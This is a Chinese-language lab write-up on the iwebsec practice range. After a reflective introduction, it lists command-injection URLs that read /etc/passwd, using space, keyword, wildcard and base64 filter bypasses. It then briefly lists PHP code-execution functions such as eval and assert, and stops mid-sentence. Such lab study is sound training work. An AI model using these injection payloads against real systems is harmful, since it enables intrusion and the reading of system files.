命令执行是网络安全领域中一项具有挑战性的任务。在 iwebesc 靶场中,我需要深入理解系统的工作原理、命令的语法和参数,以及各种可能的漏洞利用方式。通过不断的尝试和错误,我逐渐掌握了如何识别潜在的命令注入点,并巧妙地构造有效的命令来获取所需的信息或达到特定的目标。
在这个过程中,耐心和细心是至关重要的。每一个字符、每一个参数的设置都可能影响到命令的执行效果。同时,对于各种常见的操作系统和服务器环境的了解,也为我在命令执行的探索中提供了有力的支持。
而代码执行的挑战则更上一层楼。这不仅要求对编程语言的语法和特性有深入的掌握,还需要具备敏锐的漏洞发现能力。我学会了仔细分析目标代码的逻辑结构,寻找可能被利用的输入点和执行路径。通过巧妙地构造恶意的输入数据,触发代码中的漏洞,从而实现非预期的代码执行效果。
此外,团队合作在这次通关过程中也发挥了重要作用。与队友们的交流和分享,让我能够从不同的角度思考问题,借鉴他人的经验和技巧,共同攻克难题。
通过这次 iwebesc 靶场的通关经历,我深刻认识到网络安全领域的复杂性和挑战性。不断学习和更新知识,提高自己的技术水平和思维能力,是在这个领域中保持竞争力的关键。同时,也更加明白了安全防范的重要性,只有不断加强系统的安全性,才能有效抵御各种潜在的威胁。
未来,我将继续深入研究网络安全技术,不断提升自己在命令执行和代码执行等方面的能力,为保障网络环境的安全贡献自己的一份力量。
iwebsec靶场 命令执行漏洞
一、命令执行漏洞
1.执行系统命令
5.使用$IFS$9
- 在bash下,可以用$IFS$9代替空格
/exec/02.php?ip=127.0.0.1;cat$IFS$9/etc/passwd
2.查看系统文件
/exec/01.php?ip=127.0.0.1;cat%20/etc/passwd
二、命令执行漏洞空格绕过
1.执行不需要空格的命令
/exec/02.php?ip=127.0.0.1;ifconfig
2.使用%09
- %09是TAB键的url编码/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd
url编码
-
3.使用<
- <表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。“命令 < 文件” ,这是将文件作为命令输入。
-
/exec/02.php?ip=127.0.0.1;cat</etc/passwd
-
-
4.使用{},
- {}内是整体的命令,逗号就是空格的作用
- /exec/02.php?ip=127.0.0.1;{cat,/etc/passwd}
-
5.使用$IFS$9
- 在bash下,可以用$IFS$9代替空格
-
/exec/02.php?ip=127.0.0.1;cat$IFS$9/etc/passwd
三、命令执行漏洞关键命令绕过
1.拼接绕过
(2)命令替换绕过
实战1: http://www.iwebsec.com:81/exec/03.php?ip=127.0.0.1;sh%20/etc/passwd%202%3E%261
实战2:http://www.iwebsec.com:81/exec/03.php?ip=127.0.0.1;more%20/etc/passwd
实战3: http://www.iwebsec.com:81/exec/03.php?ip=127.0.0.1;head%20/etc/passwd
实战4:http://www.iwebsec.com:81/exec/03.php?ip=127.0.0.1;sort%20/etc/passwd
四、命令执行漏洞通配符绕过
- 使用通配符*替代某些字符
/exec/04.php?ip=127.0.0.1;cat%20/et*/passw*
五、命令执行漏洞base64编码绕过
- 将命令进行base64编码
/exec/05.php?ip=127.0.0.1;`echo%20aWQK|base64%20-d`
iwebsec(代码执行)
- 代码执行漏洞eval函数
1.eval函数
二、代码执行漏洞assert函数
1.assert函数
三、代码执行漏洞call_user_func函数
1.call_user_func函数
- call_user_func_array()是调用回调函数,可以将把一个数组参数作为回调函数的参数
四、代码执行漏洞call_user_func_array函数
1.call_user_func_array函数
- call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数
五、代码执行漏洞create_function函数
1.create_function函数
- create_function()是PHP中的内置函数,用于在PHP中创建匿名(lambda-style)函数
六、代码执行漏洞array_map函数
1.array_map函数
- array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
- 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致
七、代码执行漏洞preg_replace函数
1.preg_replace函数
- preg_replace 函数执行一个正则表达式的搜索和替